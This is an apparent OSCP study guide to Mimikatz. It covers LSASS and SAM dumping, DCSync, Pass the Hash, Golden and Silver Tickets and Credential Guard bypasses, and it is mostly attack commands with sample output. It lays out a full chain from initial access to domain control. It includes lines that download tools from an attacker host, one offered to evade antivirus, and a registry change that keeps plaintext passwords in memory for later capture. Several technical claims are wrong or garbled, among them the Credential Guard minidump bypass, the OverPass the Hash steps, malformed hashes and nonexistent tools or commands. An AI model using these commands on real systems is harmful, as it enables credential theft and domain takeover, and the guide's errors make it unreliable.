Domain 4PrivEsc & Password AttacksCORE

Mimikatz Credential Dumping

Complete guide to Mimikatz for credential dumping including LSASS memory extraction, DCSync, Pass the Hash, Kerberos attacks, and bypassing Credential Guard.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#mimikatz#credentials#lsass#dcsync#pass-the-hash

Mimikatz Credential Dumping

Mimikatz Overview

What Is Mimikatz?

Mimikatz is an open-source tool created by French security researcher Benjamin Delpy (known as gentilkiwi). It is the most powerful and widely-used credential dumping tool for Windows systems.

Mimikatz can extract:

  • Plaintext passwords from memory
  • NTLM hashes from memory and the SAM database
  • Kerberos tickets (TGTs and TGSs)
  • LSA secrets (stored credentials, recovery passwords)
  • DPAPI credentials (browser passwords, Windows Vault)
  • Domain controller data via DCSync

History

Year Event
2010 Benjamin Delpy releases Mimikatz
2011 Mimikatz gains widespread attention in security community
2012 Microsoft begins implementing protections (WDigest, CredSploit)
2014 MS14-025 (GPP encryption key exposure) – Mimikatz can decrypt GPP passwords
2016 Microsoft introduces Credential Guard (Virtualized LSASS)
2017 Mimikatz evolves to bypass Credential Guard via minidump technique
2019 Microsoft introduces LSA Protection (RunAsPPL)
2020+ Mimikatz continues to evolve with new bypass techniques

Why Mimikatz Works

Windows stores credentials in multiple locations for convenience:

  1. LSASS.exe (Local Security Authority Subsystem Service): The primary credential store. When you log in, your credentials are processed by LSASS and stored in memory in various formats (plaintext, hashed, Kerberos).

  2. SAM Database: Stores local account password hashes at C:\Windows\System32\config\SAM.

  3. LSA Secrets: Stores application credentials, recovery passwords, and automated login credentials.

  4. Windows Vault: Stores web credentials, Windows Credentials Manager entries.

  5. DPAPI: Data Protection API encrypts application data (browser passwords, email clients) using user-derived keys.

Mimikatz reads these stores by:

  • Reading LSASS memory directly (requires SeDebugPrivilege)
  • Accessing the SAM database (requires SYSTEM)
  • Using LSAPI to retrieve secrets (requires SYSTEM)
  • Interacting with Kerberos (requires appropriate privileges)

Download and Basic Usage

Obtaining Mimikatz

# Official GitHub repository
# https://github.com/gentilkiwi/mimikatz

# Download the latest release:
# 1. Go to https://github.com/gentilkiwi/mimikatz/releases
# 2. Download the latest zip (e.g., mimikatz_trunk.zip)
# 3. Extract and use the x64 version for 64-bit systems

# On Kali Linux (pre-installed)
mimikatz

# On Windows target (upload the binary)
# Upload mimikatz.exe or mimikatzx64.exe to the target
# Common upload methods:
# - SMB share: copy \attacker\share\mimikatz.exe C:\temp\
# - PowerShell: Invoke-WebRequest -Uri http://<attacker>/mimikatz.exe -OutFile C:\temp\mimikatz.exe
# - Base64 encode and decode (bypasses some AV)

Running Mimikatz

# Basic execution
.\mimikatz.exe

# You should see:
# .:: Mimikatz ::.  = * * *
#
# # mimikatz # (prompt)

# Run a single command and exit
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Run in PowerShell (inline execution)
# This helps bypass some AV detection
Start-Process -FilePath ".\mimikatz.exe" -ArgumentList `"privilege::debug`" `"sekurlsa::logonpasswords`" `"exit`"

Running as Administrator/SYSTEM

Mimikatz requires elevated privileges for most operations:

Privilege Level What Works
Standard User Very limited – some DPAPI operations, vault access for current user
Administrator Most operations with privilege::debug
SYSTEM All operations – full credential dumping

Getting SYSTEM:

# If you're Administrator, use PowerShell:
Start-Process powershell -Verb runAs

# Or use a privilege escalation technique first:
# - PrintSpoofer
# - JuicyPotato / RoguePotato
# - Service exploitation
# - Then run Mimikatz as SYSTEM

Every Mimikatz Command Explained

privilege::debug – Enabling Debug Privilege

mimikatz # privilege::debug
Privilege '20' OK

Why SeDebugPrivilege is required:

SeDebugPrivilege allows a process to debug and read the memory of any other process, including lsass.exe. Without this privilege, Mimikatz cannot access LSASS memory to extract credentials.

How to get SeDebugPrivilege:

  • Administrators and SYSTEM have this privilege by default
  • Run privilege::debug to enable it (it may be assigned but not enabled)
  • If you get Privilege '20' NOT OK, you don’t have Administrator/SYSTEM rights

What happens when you run it:

  1. Mimikatz calls OpenProcessToken() to get the current process token
  2. Calls LookupPrivilegeValue() to find the LUID for SeDebugPrivilege
  3. Calls AdjustTokenPrivileges() to enable the privilege
  4. If successful, you can now read any process memory

sekurlsa::logonpasswords – LSASS Memory Dumping

This is the most important Mimikatz command. It reads the memory of lsass.exe and extracts all available credentials.

mimikatz # sekurlsa::logonpasswords

AuthenticationsId   : 0;12345678
        Session       : RemoteInteractive from 3
        User          : jdoe
        Domain        : CORP
        LTSV      : 0
        SID           : S-1-5-21-1234567890-1234567890-1234567890-1234
        Authentication :
        - msv :
                [00000003] Primary
                * Username : jdoe
                * Domain   : CORP
                * LM       : aad3b435b51404eeaad3b435b51404ee
                * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
                * SHA1     : 60f9557a4816cd1b8ff26d5d87c7b6bb0f64890f
        - tspkg :
                * Username : jdoe
                * Domain   : CORP
                * Password : P@ssw0rd123!
        - wdigest :
                * Username : jdoe
                * Domain   : CORP
                * Password : P@ssw0rd123!
        - kerberos :
                * Username : jdoe
                * Domain   : CORP
                * Password : P@ssw0rd123!
        - SSP :
        - SSL :

AuthenticationsId   : 0;87654321
        Session       : Network from 2
        User          : Administrator
        Domain        : CORP
        SID           : S-1-5-21-1234567890-1234567890-1234567890-500
        - msv :
                * Username : Administrator
                * Domain   : CORP
                * NTLM     : 5ive2014!
                * NTLM     : d0f5c61436f04bc305f3d1f04abc0690
        - kerberos :
                * Username : Administrator
                * Domain   : CORP
                * Password : 5ive2014!

What it extracts:

Credential Type Source What It Contains
msv MSV1_0 package Username, domain, LM hash, NTLM hash, SHA1 hash
tspkg Terminal Services Username, domain, plaintext password (for RDP sessions)
wdigest WDigest package Username, domain, plaintext password
kerberos Kerberos package Username, domain, plaintext password (for Kerberos auth)
SSP Security Support Provider Negotiate credentials
SSL SSL credentials Client certificate credentials

Key observations from the output:

  • Plaintext passwords appear in tspkg, wdigest, and kerberos sections
  • NTLM hashes appear in the msv section (used for Pass the Hash)
  • LM hashes starting with aad3b435b51404eeaad3b435b51404ee are blank (password > 14 chars or LM disabled)
  • Multiple authentication IDs mean multiple logon sessions

sekurlsa::wdigest – WDigest Credentials

mimikatz # sekurlsa::wdigest

wdigest credentials
====================

AuthId: 0;12345678
        Domain: CORP
        NTLM:   8846f7eaee8fb117ad06bdd830b7586c
        Password: P@ssw0rd123!

AuthId: 0;87654321
        Domain: CORP
        NTLM:   d0f5c61436f04bc305f3d1f04abc0690
        Password: 5ive2014!

WDigest is a security support provider that stores plaintext passwords in LSASS memory. It was introduced in Windows 8 / Server 2012.

Important: Microsoft disabled WDigest by default in later Windows versions as a security measure. If WDigest is disabled, you won’t get plaintext passwords from this module.

Enabling WDigest (for persistence):

# An attacker might enable WDigest to capture future plaintext passwords
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# After enabling, the next logon will store the plaintext password in LSASS

sekurlsa::kerberos – Kerberos Ticket Extraction

mimikatz # sekurlsa::kerberos

kerberos credentials
====================

AuthId: 0;12345678
        Domain: CORP.LOCAL
        Package: Kerberos
        User: jdoe
        * Password: P@ssw0rd123!

AuthId: 0;87654321
        Domain: CORP.LOCAL
        Package: Kerberos
        User: Administrator
        * Password: 5ive2014!

This extracts Kerberos authentication credentials from LSASS memory. Useful when:

  • Other credential types (msv, wdigest) don’t have plaintext
  • The user authenticated via Kerberos (domain environments)
  • You need the plaintext password for Kerberos-based attacks

sekurlsa::tickets – Ticket Listing

mimikatz # sekurlsa::tickets

Tickets
=======

* Domain        : CORP.LOCAL
  LogonScript   :
  LogonServer   : DC01
  Name          : jdoe
  Domain        : CORP.LOCAL
  LogonTime     : 08/30/2026 14:23:45
  ExpireTime    : 08/31/2026 00:23:45
  Ticket        : (KRB_CRED structure)
  ...

This lists all Kerberos tickets currently in LSASS memory. Useful for:

  • Identifying which users have active sessions
  • Finding tickets for lateral movement
  • Preparing for ticket injection attacks

kerberos::list – Kerberos Ticket Details

mimikatz # kerberos::list

     Authentication Id : 0;12345678
     Session           : RemoteInteractive from 3
     User/Domain       : jdoe / CORP
     Logon Time        : 08/30/2026 14:23:45
     Ticket              : krbtgt\CORP.LOCAL @ CORP.LOCAL
     Service           : krbtgt/CORP.LOCAL
     Target Name       : krbtgt/CORP.LOCAL
     Start/End/MaxRenew: 08/30/2026 14:23:45 ; 08/31/2026 00:23:45 ; 09/06/2026 14:23:45
     Flags           : forwardable, renewable, pre_auth
     Cache               : C:\Users\jdoe\APPDATA\Local\Microsoft\TicketCache\kdcTickets
     Key                 : aes256-cts-hmac-sha1-96

Key information from the output:

  • TGT (Ticket Granting Ticket): krbtgt/CORP.LOCAL – this is the master ticket
  • Flags: forwardable means the ticket can be used for delegation
  • Key type: aes256-cts-hmac-sha1-96 – indicates strong encryption
  • Expiration: When the ticket expires

lsadump::sam – SAM Database Dumping

mimikatz # lsadump::sam

* SAM dump *

        [.] Administrator
        * RID: 500
        * NTLM: 5aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
        [.] DefaultAccount
        * RID: 503
        * NTLM: 5aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee
        [.] Guest
        * RID: 501
        * NTLM: 5aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee
        [.] jdoe
        * RID: 1001
        * NTLM: 5aad3b435b51404eeaad3b435b51404ee:d0f5c61436f04bc305f3d1f04abc0690
        [.] svc_backup
        * RID: 1002
        * NTLM: 5aad3b435b51404eeaad3b435b51404ee:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d

What the SAM database contains:

  • Local account password hashes (not domain accounts)
  • Each account has a RID (Relative Identifier)
  • RID 500 = local Administrator account
  • RID 501 = Guest account
  • RID 1000+ = Regular user accounts

The hash format: LM_hash:NTLM_hash

  • aad3b435b51404eeaad3b435b51404ee in the LM position = blank LM hash (password > 14 chars or LM disabled)
  • The NTLM hash can be used for Pass the Hash attacks

Requirements: Must run as SYSTEM to read the SAM database.

lsadump::secrets – LSA Secrets

mimikatz # lsadump::secrets

* Primary: CORP$@CORP.LOCAL
* Domain  : CORP.LOCAL
* LAN Manager Username : CORP$
* LAN Manager Password : (machine account password)

* Secret: NL$KM
       [000000] : 4e9906e8fcb6629b9daeb69d3296d617

* Secret: DPAPI_SYSTEM
       [000000] : (DPAPI system master key)

* Secret: DefaultPassword
       [000000] : (default password for automated logons)

* Secret: EncryptionPassword
       [000000] : (encryption password)

LSA Secrets contain:

  • Machine account password (CORP$): Used for domain authentication of the computer
  • NL$KM: The GPP encryption key (the same key used for Group Policy Preferences)
  • DPAPI_SYSTEM: Master key for DPAPI system-scoped encryption
  • DefaultPassword: Automated logon passwords
  • Application credentials: Stored by applications for automated tasks

lsadump::dcsync – DCSync Attack

This is one of the most powerful Mimikatz commands. It performs a DCSync attack, which mimics the behavior of a Domain Controller replicating directory changes.

mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:CORP.LOCAL\krbtgt

* SAMAccount  : krbtgt
* Primary SID : S-1-5-21-1234567890-1234567890-1234567890
* NTLM        : 36aa46d0ecece28f4a5bd7f983e2de1b
* NTLM        : (second value if password history exists)

mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:CORP.LOCAL\Administrator

* SAMAccount  : Administrator
* Primary SID : S-1-5-21-1234567890-1234567890-1234567890-500
* NTLM        : d0f5c61436f04bc305f3d1f04abc0690

How DCSync works:

  1. Mimikatz sends a Directory Replication Service (DRS) request to the Domain Controller
  2. The request uses the Replicating Directory Changes or Replicating Directory Changes All extended right
  3. The DC responds with the requested user’s password hash as if replicating to another DC
  4. Mimikatz receives the NTLM hash without needing to read any local files

Permissions required:

  • Domain Admins and Enterprise Admins have these rights by default
  • Any account with Replicating Directory Changes permission can run DCSync
  • This right can be granted to any user (common misconfiguration)

Extracting the krbtgt hash: The krbtgt account hash is critical because it can be used to create Golden Tickets (forged Kerberos TGTs):

mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt

token::elevate – Token Elevation

mimikatz # token::elevate

* UAC: Enabled
* Process Token:
  - Id: 1234
  - User: CORP\jdoe
  - Groups:
    * S-1-5-21-xxx-xxx-xxx-513  - Users
    * S-1-5-32-545              - BUILTIN\Users
  - Privileges:
    * SeChangeNotifyPrivilege
    * SeIncreaseWorkingSetPrivilege

* Available Tokens:
  - Id: 5678
    User: NT AUTHORITY\SYSTEM
    -> Impersonating...
  - Id: 9012
    User: CORP\Administrator
    -> Impersonating...

* Current token: NT AUTHORITY\SYSTEM

What token elevation does:

  1. Lists all available tokens in the current process
  2. Finds tokens with higher privileges (SYSTEM, Administrator)
  3. Impersonates the highest-privilege token found
  4. Subsequent Mimikatz commands run under the elevated token

When this works:

  • When a higher-privilege token is available in the process
  • Common when a service has impersonated a client
  • Works with named pipe impersonation tokens

vault::cred – Windows Vault Credentials

mimikatz # vault::cred

vault::cred
===========

* Current user: CORP\jdoe

  CredType : Generic
  Target   : https://github.com
  Username : jdoe_github
  Secret   : ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

  CredType : Domain Password
  Target   : CORP\sqladmin
  Username : CORP\sqladmin
  Secret   : S3cretSQLP@ss!

  CredType : Web Credentials
  Target   : https://outlook.office365.com
  Username : jdoe@corp.com
  Secret   : O365P@ssw0rd!

Windows Vault stores:

  • Web credentials (browser saved passwords)
  • Generic credentials (application credentials)
  • Domain passwords (network authentication)
  • Windows Credentials Manager entries

dpapi::cred – DPAPI Credentials

mimikatz # dpapi::cred

dpapi::cred
===========

* Current user: CORP\jdoe

  Master Key: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
  Credential:
    Target : Chrome
    Username : jdoe@corp.com
    Password : ChromeP@ss123!

  Master Key: yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy
  Credential:
    Target : Outlook
    Username : jdoe@corp.com
    Password : EmailP@ss456!

DPAPI (Data Protection API) is used by applications to encrypt sensitive data:

  • Browser passwords (Chrome, Firefox, Edge)
  • Email client passwords (Outlook, Thunderbird)
  • Application credentials (VPN clients, SSH keys)
  • RDP saved credentials

Credential Dumping Workflow

Step-by-Step: From Initial Access to Domain Admin

sequenceDiagram
    participant A as Attacker
    participant T as Target (Windows)
    participant D as Domain Controller

    Note over A,D: Phase 1: Local Credential Dumping

    A->>T: Gain initial access (low-priv shell)
    A->>T: Escalate to SYSTEM (PrintSpoofer, etc.)
    A->>T: Upload mimikatz.exe
    A->>T: mimikatz # privilege::debug
    A->>T: mimikatz # sekurlsa::logonpasswords

    Note over T: Extract: plaintext passwords,<br/>NTLM hashes, Kerberos tickets

    A->>T: mimikatz # lsadump::sam
    Note over T: Extract: local account hashes

    A->>T: mimikatz # lsadump::secrets
    Note over T: Extract: machine account,<br/>DPAPI keys, app credentials

    Note over A,D: Phase 2: Lateral Movement

    A->>T: mimikatz # sekurlsa::pth
    Note over T: Pass the Hash to next target

    A->>D: Use extracted domain credentials
    Note over D: Authenticate as domain user

    Note over A,D: Phase 3: Domain Compromise

    A->>D: mimikatz # lsadump::dcsync
    Note over D: Extract domain admin hashes,<br/>krbtgt hash

    A->>A: Create Golden Ticket
    A->>D: mimikatz # kerberos::golden
    Note over D: Full domain control

Detailed Workflow

# === STEP 1: Get SYSTEM ===
# Use privilege escalation technique (PrintSpoofer, service exploit, etc.)
# Verify: whoami -> NT AUTHORITY\SYSTEM

# === STEP 2: Start Mimikatz ===
.\mimikatz.exe

# === STEP 3: Enable Debug Privilege ===
mimikatz # privilege::debug
# Expected: Privilege '20' OK

# === STEP 4: Dump LSASS Memory ===
mimikatz # sekurlsa::logonpasswords
# Look for:
# - Plaintext passwords (tspkg, wdigest, kerberos sections)
# - NTLM hashes (msv section)
# - Note all usernames and their credentials

# === STEP 5: Dump SAM Database ===
mimikatz # lsadump::sam
# Extract local account hashes
# Note: RID 500 = local Administrator

# === STEP 6: Dump LSA Secrets ===
mimikatz # lsadump::secrets
# Extract machine account password, DPAPI keys
# The NL$KM secret is the GPP encryption key

# === STEP 7: Check Vault and DPAPI ===
mimikatz # vault::cred
mimikatz # dpapi::cred
# Extract browser passwords, email credentials, RDP saved credentials

# === STEP 8: Token Elevation (if not already SYSTEM) ===
mimikatz # token::elevate
# Impersonate the highest-privilege token available

# === STEP 9: Domain Operations (if domain-joined) ===
# Extract domain admin hash via DCSync
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:CORP.LOCAL\Administrator

# Extract krbtgt hash for Golden Ticket
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt

# === STEP 10: Use Extracted Credentials ===
# Pass the Hash
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:<ntlm_hash>

# Or use plaintext passwords for RDP, SSH, etc.

DCSync Attack: Deep Dive

What Is DCSync?

DCSync is a technique that abuses the Active Directory replication protocol. Normally, Domain Controllers replicate directory changes (including password hashes) with each other using the Directory Replication Service (DRS) protocol.

DCSync tricks a Domain Controller into sending you password hashes as if you were another Domain Controller requesting replication data.

How It Works

  1. DRS Request: Mimikatz sends a DRSGetNCChanges request to the DC
  2. Extended Right: The request requires the Replicating Directory Changes or Replicating Directory Changes All extended right
  3. DC Response: The DC processes the request and returns the requested user’s password data (including NTLM hash)
  4. No Local Access Needed: The attack is performed remotely over the network – you don’t need access to the DC itself

Required Permissions

Permission Default Holders What It Allows
Replicating Directory Changes Domain Admins, Enterprise Admins, DCs Replicate most directory data
Replicating Directory Changes All Enterprise Admins, DCs Replicate all directory data including deleted objects

Common DCSync Scenarios

# Extract a specific user's hash
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:CORP.LOCAL\jdoe

# Extract the domain Administrator hash
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:CORP.LOCAL\Administrator

# Extract the krbtgt hash (for Golden Tickets)
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:krbtgt

# Extract all user hashes (not practical, but demonstrates capability)
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:*

Why krbtgt Is Critical

The krbtgt account is the Kerberos Key Distribution Center account. Its hash is used to:

  • Encrypt TGTs (Ticket Granting Tickets)
  • Verify TGTs presented by users
  • Create Golden Tickets (forged TGTs)

If you have the krbtgt hash, you can create a Golden Ticket that grants you unlimited access to any resource in the domain as any user, including Domain Administrator.

Important: Changing the krbtgt password invalidates all existing TGTs, forcing all users to re-authenticate. This is why attackers try to hide their tracks – changing krbtgt is a major incident response action.

Pass the Hash (PTH)

What Is Pass the Hash?

Pass the Hash is an attack technique where you authenticate to a system using a NTLM hash instead of the plaintext password. Since NTLM authentication uses the hash (not the plaintext) for the challenge-response protocol, having the hash is equivalent to having the password.

Pass the Hash via Mimikatz

# Basic PTH
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:d0f5c61436f04bc305f3d1f04abc0690

# PTH with specific process (spawn cmd.exe with the hash)
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:d0f5c61436f04bc305f3d1f04abc0690 /run:cmd.exe

# PTH with LM hash (if available)
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /lm:aad3b435b51404eeaad3b435b51404ee /ntlm:d0f5c61436f04bc305f3d1f04abc0690

What happens:

  1. Mimikatz injects the NTLM hash into the current process’s authentication package
  2. The next authentication attempt uses this hash
  3. A new command prompt opens authenticated as the target user

Pass the Hash via CrackMapExec

# SMB authentication with hash
crackmapexec smb <target_ip> -u Administrator -H d0f5c61436f04bc305f3d1f04abc0690

# With shell
crackmapexec smb <target_ip> -u Administrator -H d0f5c61436f04bc305f3d1f04abc0690 -x "whoami"

# With PSExec
crackmapexec smb <target_ip> -u Administrator -H d0f5c61436f04bc305f3d1f04abc0690 --exec-method smbexec

Pass the Hash via Impacket

# PSExec with hash
psexec.py CORP/Administrator@<target_ip> -hashes aad3b435b51404eeaad3b435b51404ee:d0f5c61436f04bc305f3d1f04abc0690

# SAMR (user enumeration)
samrdump.py CORP/Administrator@<target_ip> -hashes :d0f5c61436f04bc305f3d1f04abc0690

# DCSync with Impacket (alternative to Mimikatz)
secretsdump.py CORP/Administrator@<DC_ip> -hashes :d0f5c61436f04bc305f3d1f04abc0690 -just-dc-user krbtgt

OverPass the Hash

What Is OverPass the Hash?

OverPass the Hash (also called NthHash) is a two-step attack:

  1. Step 1: Use Pass the Hash to authenticate as a user
  2. Step 2: Change that user’s password (which reveals the plaintext)
  3. Step 3: Use the plaintext password for Kerberos-based attacks

This is useful when you have an NTLM hash but need the plaintext password for Kerberos attacks (like Golden Tickets).

OverPass the Hash via Mimikatz

# Step 1: Pass the Hash to get a session
mimikatz # sekurlsa::pth /user:jdoe /domain:CORP /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe

# Step 2: In the new cmd, use Mimikatz to change the password
# (This requires the user to have the right to change their own password)
mimikatz # lsadump::dcsync /domain:CORP.LOCAL /user:jdoe
# Now you have the hash, use it to reset the password via RPC

# Alternative: Use the net command
net user jdoe NewP@ssw0rd123 /domain

# Step 3: Now you have the plaintext password
# Use it for Kerberos attacks, RDP, etc.

Kerberos Attacks with Mimikatz

Golden Ticket

A Golden Ticket is a forged Kerberos TGT created using the krbtgt hash. It grants unlimited access to any resource in the domain.

mimikatz # kerberos::golden /user:Administrator /domain:CORP.LOCAL /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:36aa46d0ecece28f4a5bd7f983e2de1b /id:500

# Parameters explained:
# /user      : Username for the ticket (use Administrator or any user)
# /domain    : Full domain name
# /sid       : Domain SID (get from any user: whoami /user)
# /krbtgt    : NTLM hash of the krbtgt account
# /id        : User RID (500 = Administrator)

# Additional useful parameters:
# /startoffset : 0          (start time offset in minutes)
# /end          : 2026-12-31 23:59:59  (ticket expiration)
# /renewmax     : 1007520    (max renewal time in minutes = 2 years)
# /ptt           :           (inject ticket into current session)
# /ticket        : golden.kirbi  (save ticket to file)

# Create and inject in one command:
mimikatz # kerberos::golden /user:Administrator /domain:CORP.LOCAL /sid:S-1-5-21-xxx /krbtgt:xxx /id:500 /ptt

Silver Ticket

A Silver Ticket is a forged TGS (Ticket Granting Service) ticket for a specific service. It doesn’t require the krbtgt hash – only the service account hash.

mimikatz # kerberos::golden /user:jdoe /domain:CORP.LOCAL /sid:S-1-5-21-xxx /target:DC01.CORP.LOCAL /service:cifs /rc4:d0f5c61436f04bc305f3d1f04abc0690 /ptt

# Parameters:
# /target  : Target server name (FQDN)
# /service : Service name (cifs = SMB, mssql = SQL Server, http = IIS)
# /rc4     : NTLM hash of the service account (RC4 encryption)

Kerberoasting

Kerberoasting extracts service account TGS tickets and cracks them offline:

# Request TGS tickets for all service accounts
mimikatz # kerberos::list /service:cifs

# Extract all TGS tickets
mimikatz # kerberos::tickets /export

# The exported tickets can be cracked offline with hashcat:
# hashcat -m 13100 tickets.kirbi /path/to/wordlist.txt

Bypassing Credential Guard

What Is Credential Guard?

Credential Guard is a Windows 10/11 and Server 2016+ security feature that uses Virtualization-Based Security (VBS) to isolate LSASS memory. Credentials are stored in a separate virtualized environment that normal processes (including Mimikatz) cannot access.

Bypass Methods

Method 1: Minidump Technique

# Step 1: Create a minidump of LSASS
# Use Procdump or the built-in minidump functionality
.\procdump.exe -ma lsass.exe lsass.dmp

# Step 2: Use Mimikatz to analyze the dump
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

# This works because the minidump captures LSASS memory
# before Credential Guard can protect it

Method 2: Alternative Credential Stores

When LSASS is protected, check other credential stores:

# Windows Vault
mimikatz # vault::cred

# DPAPI credentials
mimikatz # dpapi::cred

# LSA Secrets (may still be accessible)
mimikatz # lsadump::secrets

# SAM database (local accounts only)
mimikatz # lsadump::sam

Method 3: Live LSASS Dump via Alternative Tools

# Use Comdump (from SpoolSample) to dump LSASS
# This uses COM objects to create a dump, bypassing some protections
Import-Module .\Comdump.ps1
Invoke-Comdump

# Then analyze with Mimikatz
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

# Or use RansomDump technique
# Creates a dump using the Windows Error Reporting API

Method 4: Task Manager Dump

# If you have GUI access:
# 1. Open Task Manager
# 2. Find lsass.exe
# 3. Right-click -> Create Dump File
# 4. Analyze the dump with Mimikatz

Credential Guard Detection

# Check if Credential Guard is enabled
Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesRunning, DeviceGuardSecurityServicesAvailable

# Or check via Registry
reg query "HKLM\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags

# Value 1 = Credential Guard enabled
# Value 0 or not present = Credential Guard disabled

# Check LSA Protection (RunAsPPL)
reg query "HKLM\SYSTEM\CurrentControlSet\Control\LSA" /v RunAsPPL

# Value 1 = LSA Protection enabled

Mimikatz Command Quick Reference

Credential Extraction

Command Purpose Requires
privilege::debug Enable SeDebugPrivilege Administrator/SYSTEM
sekurlsa::logonpasswords Dump all LSASS credentials SeDebugPrivilege
sekurlsa::wdigest Dump WDigest plaintext passwords SeDebugPrivilege
sekurlsa::kerberos Dump Kerberos credentials SeDebugPrivilege
sekurlsa::tickets /export Export Kerberos tickets SeDebugPrivilege
kerberos::list List Kerberos tickets Any
lsadump::sam Dump local account hashes SYSTEM
lsadump::secrets Dump LSA secrets SYSTEM
lsadump::dcsync /domain:X /user:Y DCSync attack Replicating Directory Changes
vault::cred Dump Windows Vault Current user
dpapi::cred Dump DPAPI credentials Current user

Attack Commands

Command Purpose Use Case
sekurlsa::pth /user:X /domain:Y /ntlm:Z Pass the Hash Lateral movement with hash
kerberos::golden ... Golden Ticket Full domain compromise
kerberos::silver ... Silver Ticket Target specific service
token::elevate Token elevation Escalate to available token
sekurlsa::minidump file.dmp Analyze LSASS dump Credential Guard bypass

Full Attack Chain Example

# 1. Enable privileges
privilege::debug

# 2. Dump credentials
sekurlsa::logonpasswords

# 3. If domain-joined, try DCSync
lsadump::dcsync /domain:CORP.LOCAL /user:CORP.LOCAL\krbtgt

# 4. Create Golden Ticket
kerberos::golden /user:Administrator /domain:CORP.LOCAL /sid:S-1-5-21-xxx /krbtgt:xxx /id:500 /ptt

# 5. Access any resource
dir \DC01\C$

Mimikatz Attack Chain Diagram

graph TD
    A[Initial Access] --> B{Privilege Level}
    B -->|Standard User| C[vault::cred, dpapi::cred]
    B -->|Administrator| D[privilege::debug]
    B -->|SYSTEM| D

    C --> E[Browser/Email Credentials]
    D --> F[sekurlsa::logonpasswords]

    F --> G{Credentials Found?}
    G -->|Plaintext| H[Direct Authentication]
    G -->|NTLM Hash| I[Pass the Hash]
    G -->|Kerberos| J[Ticket Injection]

    H --> K[Lateral Movement]
    I --> K
    J --> K

    K --> L{Domain Environment?}
    L -->|Yes| M[lsadump::dcsync]
    L -->|No| N[Local Admin Access]

    M --> O{krbtgt Hash?}
    O -->|Yes| P[kerberos::golden]
    O -->|No| Q[Extract User Hashes]

    P --> R[Full Domain Control]
    Q --> S[Pass the Hash to DC]
    S --> R

    N --> T[Local Admin Shell]
    T --> U[lsadump::sam]
    U --> V[Local Hash Extraction]

    style P fill:#ff4757,color:#fff
    style R fill:#2ed573,color:#000
    style F fill:#ffa502

OSCP Exam Tips

Mimikatz Is Your Best Friend

Mimikatz is the single most important tool for Windows credential dumping on the OSCP exam. Here’s how to use it effectively:

Exam Strategy

  1. Always try Mimikatz after gaining SYSTEM – it takes 30 seconds and can unlock the entire box
  2. Run sekurlsa::logonpasswords first – it gives you the broadest view of available credentials
  3. Check lsadump::sam for local admin hashes – useful for local PTH
  4. Check lsadump::secrets for machine account and app credentials – often overlooked
  5. On domain boxes, try DCSync if you have Domain Admin or equivalent rights

Common OSCP Scenarios

Scenario Mimikatz Command Result
Got SYSTEM on workstation sekurlsa::logonpasswords Admin passwords for lateral movement
Got admin on domain-joined machine lsadump::sam Local admin hash for PTH
Have Domain Admin credentials lsadump::dcsync /user:krbtgt krbtgt hash for Golden Ticket
Credential Guard enabled sekurlsa::minidump + procdump Bypass via dump file
Need browser credentials dpapi::cred Saved web passwords

Time-Saving Tips

  • One-liner execution: .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" – no interactive session needed
  • Save output: Redirect to file for report: .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > creds.txt
  • Kali has Mimikatz pre-installed: Use mimikatz command directly
  • Inline execution in PowerShell can bypass basic AV: IEX (New-Object Net.WebClient).DownloadString('http://<attacker>/mimikatzInvoke.ps1')

What to Document in Your Report

  1. Privilege level when running Mimikatz (Administrator, SYSTEM)
  2. Commands executed and their output
  3. Credentials extracted (redact actual passwords in the report)
  4. How credentials were used for lateral movement or escalation
  5. DCSync results if applicable (domain hashes extracted)
  6. Golden Ticket creation if applicable (full domain compromise)

Common Mistakes to Avoid

  1. Forgetting privilege::debug – without it, most commands fail silently
  2. Not checking all credential types – logonpasswords gives msv, tspkg, wdigest, kerberos; check each section
  3. Ignoring LSA secrets – machine account passwords and app credentials are goldmines
  4. Not trying DCSync on domain boxes – if you have DA rights, always extract krbtgt
  5. Forgetting to save output – you’ll need it for your report

For more information, see the Mimikatz GitHub repository, Attack Defense Matrix, and gentilkiwi’s blog.